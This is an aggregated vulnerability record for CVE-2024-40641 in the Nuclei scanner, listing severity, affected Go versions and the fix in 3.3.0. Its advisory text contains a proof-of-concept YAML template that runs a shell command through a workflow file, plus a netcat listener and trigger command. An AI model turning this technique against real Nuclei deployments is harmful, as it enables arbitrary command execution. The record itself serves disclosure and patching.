{"id":"CVE-2024-40641","aliases":["EUVD-2024-2317","GHSA-c3q9-c27p-cw9h","GO-2024-2989"],"status":"published","title":"Unsigned code template execution through workflows in projectdiscovery/nuclei","description":"Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00311,"percentile":0.24154,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2024-07-17T17:34:10Z","modified":"2026-10-28T02:30:21Z","fixes":[{"ecosystem":"Go","package":"github.com/projectdiscovery/nuclei/v3","fixed_in":["3.3.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/projectdiscovery/nuclei/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectdiscovery/nuclei/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectdiscovery/nuclei","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectdiscovery/nuclei/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/projectdiscovery/nuclei/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.0"}]}]}],"products":[{"vendor":"projectdiscovery","product":"nuclei"}],"references":[{"url":"https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h","tags":["x_refsource_CONFIRM","x_transferred","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-40641","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c3q9-c27p-cw9h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/40xxx/CVE-2024-40641.json","tags":["advisory"]},{"url":"https://github.com/projectdiscovery/nuclei","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-40641","title":"Unsigned code template execution through workflows in projectdiscovery/nuclei","description":"Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-07-17T17:34:10.792Z","modified":"2024-08-13T20:55:48.064Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:34:06.811965Z"}],"euvd":[{"id":"EUVD-2024-2317","description":"Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-07-17T17:34:10Z","modified":"2024-08-13T20:55:48Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T00:56:18.66143Z"}],"ghsa":[{"id":"GHSA-c3q9-c27p-cw9h","title":"projectdiscovery/nuclei allows unsigned code template execution through workflows","description":"### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n  name: example code template\n  author: ovi3\n\n\ncode:\n  - engine:\n      - sh\n      - bash\n    source: |\n      id\n\nhttp:\n  - raw:\n      - |\n        POST /re HTTP/1.1\n        Host: {{Hostname}}\n\n        {{code_response}}\n\nworkflows:\n  - matchers:\n    - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n","status":"published","published":"2024-07-17T19:32:23Z","modified":"2024-08-06T05:04:05Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:37:58.427757Z"}],"nvd":[{"id":"CVE-2024-40641","description":"Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-07-17T18:15:05.02Z","modified":"2026-06-17T07:46:13.46Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:10:13.413515Z"}],"osv":[{"id":"CVE-2024-40641","title":"Unsigned code template execution through workflows in projectdiscovery/nuclei","description":"Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL.  In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-07-17T17:34:10.792Z","modified":"2026-10-28T02:30:21.812487935Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:41.618074Z"},{"id":"GHSA-c3q9-c27p-cw9h","title":"projectdiscovery/nuclei allows unsigned code template execution through workflows","description":"### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n  name: example code template\n  author: ovi3\n\n\ncode:\n  - engine:\n      - sh\n      - bash\n    source: |\n      id\n\nhttp:\n  - raw:\n      - |\n        POST /re HTTP/1.1\n        Host: {{Hostname}}\n\n        {{code_response}}\n\nworkflows:\n  - matchers:\n    - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n","status":"published","published":"2024-07-17T19:32:23Z","modified":"2024-08-20T14:57:15Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:44.571161Z"},{"id":"GO-2024-2989","title":"projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei","description":"projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei","status":"published","published":"2024-07-22T18:24:24Z","modified":"2026-03-03T04:55:33.568053Z","updated_at":"2026-11-02T15:47:01.453823Z"}]}}
